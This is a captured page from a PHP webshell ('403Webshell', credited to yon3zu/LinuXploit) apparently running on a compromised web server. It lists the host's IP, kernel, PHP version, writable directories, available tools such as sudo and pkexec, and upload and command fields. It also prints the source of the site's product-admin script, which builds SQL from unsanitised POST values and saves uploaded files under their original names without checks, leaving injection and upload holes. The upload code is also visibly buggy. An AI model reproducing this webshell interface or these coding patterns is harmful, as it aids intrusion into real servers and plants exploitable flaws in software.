403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)yuecreations.com.hk/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)yuecreations.com.hk/webadmin/productgrade_modify.php
<?php require("configure.php");

$ProductGradeId 	= $_POST["ProductGradeId"]; 
$ProductCatId 		= $_POST["ProductCatId"];

$DescEN					= htmlspecialchars($_POST["DescEN"],ENT_QUOTES);
$DescTC					= htmlspecialchars($_POST["DescTC"],ENT_QUOTES);

//print_r($_POST);

// copy image 
if ($_FILES['ProductColCover']['name'] <> '')
{
	copy ($_FILES['ProductolCover']['tmp_name'], "productcover/".$ProductColId."_".$_FILES['ProductColCover']['name']) 
		or die ("Could not copy");
		 
	$ProductColCover = $ProductColId."_".$_FILES['ProductColCover']['name'];

	$image = "productcover/".$ProductColId."_".$_FILES['ProductColCover']['name'];
	createthumb($image, $image, 120, 120);

}
else
{	
	$ProductColCover = "";
}
// End upload image code

function createthumb($name,$filename,$new_w,$new_h)
	{
	$system=explode('.',$name);
	if (preg_match('/jpg|jpeg|JPG|JPEG/',$system[1])){
		$src_img=imagecreatefromjpeg($name);
	}
	if (preg_match('/gif|GIF/',$system[1])){
		$src_img=imagecreatefromgif($name);
	}
	if (preg_match('/png|PNG/',$system[1])){
		$src_img=imagecreatefrompng($name);
	}

	$old_x=imageSX($src_img);
	$old_y=imageSY($src_img);
	if ($old_x > $old_y) {
		/*$thumb_w=$new_w;
		$thumb_h=$old_y*($new_h/$old_x);*/
		$thumb_w=$old_x*($new_w/$old_y);
		$thumb_h=$new_h;
	}
	if ($old_x < $old_y) {
		$thumb_w=$old_x*($new_w/$old_y);
		$thumb_h=$new_h;
	}
	if ($old_x == $old_y) {
		$thumb_w=$new_w;
		$thumb_h=$new_h;
	}

	$dst_img = imagecreatetruecolor($thumb_w,$thumb_h);
	imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); 
	$red = imagecolorallocate($dst_img, 255, 0, 0);
	$green = imagecolorallocate($dst_img, 0, 255, 0);
	$blue = imagecolorallocate($dst_img, 0, 0, 255);
	$black = imagecolorallocate($dst_img, 0, 0, 0);
	// Make the background transparent
	imagecolortransparent($dst_img, $black);

	// Draw a red rectangle
	imagefilledrectangle($dst_img, 4, 4, 50, 25, $red, $green, $blue);


	if (preg_match("/png|PNG/",$system[1])){		
		imagepng($dst_img, './imagecolortransparent.png'); 
	} else if (preg_match("/gif|GIF/",$system[1])) {
		imagegif($dst_img, './imagecolortransparent.gif'); 
	} else {
		imagejpeg($dst_img,$filename); 
	}
	imagedestroy($dst_img); 
	imagedestroy($src_img); 
}

// Check current category
$result = mysql_query("SELECT ProductGrade.ProductGradeId, ProductGrade.ProductCatId, ProductGrade.Sort from ProductGrade WHERE ProductGradeId = $ProductGradeId");
$current = mysql_fetch_array($result,MYSQL_ASSOC);

// change category
if ($ProductCatId <> $current{'ProductCatId'}) {
	//echo "$ProductCatId ".$current{'ProductCatId'};
	$sql = "select max(Sort) as maxid ";
	$sql .= "from ProductGrade where ProductCatId = $ProductCatId";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result,MYSQL_ASSOC);
	$Sort = $row{maxid}+1;
	
	// update old category sort
	mysql_query("UPDATE ProductGrade SET Sort = Sort-1 WHERE ProductCatId = ". $current{'ProductCatId'} ." AND Sort >= ". $current{'Sort'});
}


// Modify 
$sql = "update ProductGrade set DescEN='$DescEN', DescTC='$DescTC', ProductCatId=$ProductCatId ";
if ($ProductColCover <> '')
	$sql .= ", ProductColCover='$ProductColCover' ";
if ($Sort <> '')
	$sql .= ", Sort='$Sort' ";
$sql .= " where ProductGradeId=". $ProductGradeId ." ";
mysql_query($sql);

//echo $sql;

if( mysql_errno() > 0 ){
	echo 'Product Category Modify Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}

	
mysql_close($dbh);

header("Location: productgrade_index.php?msg=Modify Successful");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit